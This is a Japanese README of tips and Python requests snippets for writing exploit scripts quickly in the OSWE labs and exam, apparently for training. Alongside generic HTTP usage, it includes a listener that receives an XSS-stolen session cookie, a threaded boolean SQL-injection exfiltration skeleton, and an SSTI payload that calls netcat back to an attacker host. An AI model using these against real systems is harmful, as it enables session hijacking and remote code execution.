rizemon/exploit-writing-for-osweエクスプロイトスクリプトを（より速く！）書くためのヒント
このリポジトリには、OSWEのラボおよび認定試験でエクスプロイトスクリプトを作成する際に役立つ、便利なスニペットとヒントの一覧が含まれています。
ここに示す例の一部は、特定のコーディング慣行に反するかもしれませんが、最終的な目標はエクスプロイトスクリプトを迅速かつ正確に書くことです。
requestsライブラリの使用に慣れていない場合や、Pythonに不慣れな場合は、コードスニペットセクションが最適な出発点です。それ以外の場合は、再利用可能なコードセクションまたはヒントセクションに進んでください。
requestsライブラリの使用
params引数を使用）data引数を使用）json引数を使用）files引数を使用）headers引数を使用）cookies引数を使用）3XXリダイレクトの追跡を無効にする（allow_redirects引数を使用）verify引数を使用）proxies引数を使用）Sessionを作成するassertを使用して健全性チェックを実行するSessionオブジェクトを作成するBASE_URL文字列を作成し、そこから必要なURLを構築するproxies引数を使用せずにすべてのHTTPリクエストをBurp Suite経由で送信するには、実行時にHTTP_PROXY / HTTPS_PROXY環境変数を設定する'）とダブルクォート（"）の両方が含まれる場合は、"""を使用して作成する{}）が多すぎる場合は、f-strings（f""）やstr.formatの使用を避けるimport requests
def main():
print("Hello World!")
if __name__ == __main__:
main()
# For sending HTTP requests
import requests
# For Base64 encoding/decoding
from base64 import b64encode, b64decode, urlsafe_b64encode, urlsafe_b64decode
# For getting current time or for calculating time delays
from time import time
# For regular expressions
import re
# For running shell commands
import subprocess
# For multithreading
from concurrent.futures import ThreadPoolExecutor
# For running a HTTP server in the background
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler
# For parsing HTTP cookies
from http import cookies
# For getting command-line arguments
import sys
resp_obj = requests.get("https://github.com")
# GET method
requests.get("https://github.com")
# POST method
requests.post("https://github.com")
# PUT method
requests.put("https://github.com")
# PATCH method
requests.patch("https://github.com")
# DELETE method
requests.delete("https://github.com")
resp_obj = requests.get("https://github.com")
# HTTP status code (e.g 404, 500, 301)
resp_obj.status_code
# HTTP response headers (e.g Location, Content-Disposition)
resp_obj.headers["Location"]
# Body as bytes
resp_obj.content
# Body as a string
resp_obj.text
# Body as a dictionary (if body is a JSON)
resp_obj.json()
params = {
"foo": "bar"
}
requests.get("https://github.com", params=params)
data = {
"foo": "bar"
}
requests.post("https://github.com", data=data)
data = {
"foo": "bar"
}
requests.post("https://github.com", json=data)
files = {
# (FILE_NAME, FILE_CONTENTS, FILE_MIMETYPE)
"uploaded_file": ("phpinfo.php", b"<?php phpinfo() ?>", "application/x-httpd-php")
}
requests.post("https://github.com", files=files)
headers = {
"X-Forwarded-For": "127.0.0.1"
}
requests.get("https://github.com", headers=headers)
cookies = {
"PHPSESSID": "fakesession"
}
requests.get("https://github.com", cookies=cookies)
requests.post("https://github.com/login", allow_redirects=False)
# Supresses InsecureRequestWarning messages
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
requests.get("https://github.com", verify=False)
proxies = {
"HTTP": "http://127.0.0.1:8080",
"HTTPS": "http://127.0.0.1:8080"
}
requests.get("https://github.com", proxies=proxies)
session = requests.Session()
session.get("https://github.com")
session = requests.Session()
session.cookies.update({"PHPSESSID": "fakesession"})
session = requests.Session()
session.headers["Authorization"] = "Basic 123"
tun0）httpと入力する。data = {
"foo": "bar"
}
resp_obj = requests.post("https://github.com", data=data)
prepared_request = resp_obj.request
print("Method:\n", prepared_request.method)
print()
print("URL:\n", prepared_request.url)
print()
print("Headers:\n", prepared_request.headers)
print()
print("Body:\n", prepared_request.body)
LHOST = "10.0.0.1"
WEB_PORT = 8000
JS_PAYLOAD = "<script>alert(1)</script>"
def start_web_server():
class MyHandler(BaseHTTPRequestHandler):
# Uncomment this method to suppress HTTP logs
# def log_message(self, format, *args):
# return
def do_GET(self):
if self.path.endswith('/payload.js'):
self.send_response(200)
self.send_header("Content-Type", "application/javascript")
self.send_header("Content-Length", str(len(JS_PAYLOAD)))
self.end_headers()
self.wfile.write(JS_PAYLOAD.encode())
httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
threading.Thread(target=httpd.serve_forever).start()
start_web_server()
LHOST = "10.0.0.1"
WEB_PORT = 8000
requests = requests.Session()
xss_event = threading.Event() # Signifies when victim sends their cookie
def send_xss_payload():
pass
def start_web_server():
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
# Load stolen cookie into session
_, enc_cookie = self.path.split("/?cookie=", 1)
plain_cookie = urlsafe_b64decode(enc_cookie).decode()
session.cookies["PHPSESSID"] = cookies.SimpleCookie(plain_cookie)["PHPSESSID"]
xss_event.set() # Trigger the event
httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
threading.Thread(target=httpd.serve_forever).start()
start_web_server()
send_xss_payload()
xss_event.wait() # Wait for event to be triggered
print("[+] Stolen cookie:", session.cookies["PHPSESSID"])
MAX_WORKERS = 20
HASH_LENGTH = 32
def exfiltrate_hash():
def boolean_sqli(arguments):
idx, ascii_val = arguments
# ...
# Perform SQLi and store boolean outcome into truth
# ...
return ascii_val, truth
result = ""
# Go through each character position
for idx in range(HASH_LENGTH):
# Use MAX_WORKERS threads to test possible ASCII values in parallel
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
# Pass each of (0, 32), (0, 33) ..., (0, 126) as an argument to boolean_sqli()
responses = executor.map(boolean_sqli, [(idx, ascii_val) for ascii_val in range(32, 126)])
# Go through each response and determine which ASCII value is correct
for ascii_val, truth in responses:
if truth:
result += chr(ascii_val)
break
return result
hash = exfiltrate_hash()
例：
# Suppose 302 is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data, allow_redirect=False)
assert resp_obj.status_code == 302, "Login not successful"
# Suppose admin page is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data)
assert "Admin Dashboard" in resp_obj.content, "Login not successful"
例：
[+] Parsed command-line arguments and got:
* BASE_URL: http://example.com
* LHOST: 127.0.0.1
* LPORT: 1337
[+] Triggered password reset token generation
[=] Getting password reset token length...
[+] Got password reset token length: 10
[=] Retrieving password reset token...
[+] Got password reset token: FAKE_TOKEN
例：
def register():
pass
def login():
pass
def rce():
pass
session = requests.Session()
def login():
session.post(...)
def rce():
session.post(...)
BASE_URL = ""
session = requests.Session()
def login():
url = BASE_URL + "/login"
session.post(url, ...)
def rce():
url = BASE_URL + "/rce"
session.post(url, ...)
def main():
# Allow BASE_URL to be modified
global BASE_URL
BASE_URL = sys.argv[1]
...
$ HTTP_PROXY=http://127.0.0.1:8080 python3 poc.py
例：
payload = """This is a '. This is a "."""
SQLインジェクションの高速化を参照してください。
特に、認証済みセッションを取得するために、時間のかかるステップを多数実行する必要があった場合に有効です。
例：
session = requests.Session()
def main():
# Skipping these for now...
# register()
# login()
# TODO: Delete this line after you are
# done developing and uncomment the above steps!
session.cookies["JSESSIONID"] = "ADMIN_COOKIE"
# Exploit authenticated features...
...
エスケープするためだけに各波括弧を二重にするのは面倒で、エラーが発生しやすくなります。代わりに単純なプレースホルダーを使用して、.replace()を実行しましょう！
例：
# Too many curly braces
ssti_payload = f"{{{{ __import__('os').system('nc {LHOST} {LPORT}') }}}}"
# Much easier to read
ssti_payload = "{{ __import__('os').system('nc <LHOST> <LPORT>') }}"\
.replace("<LHOST>", LHOST)\
.replace("<LPORT>", LPORT)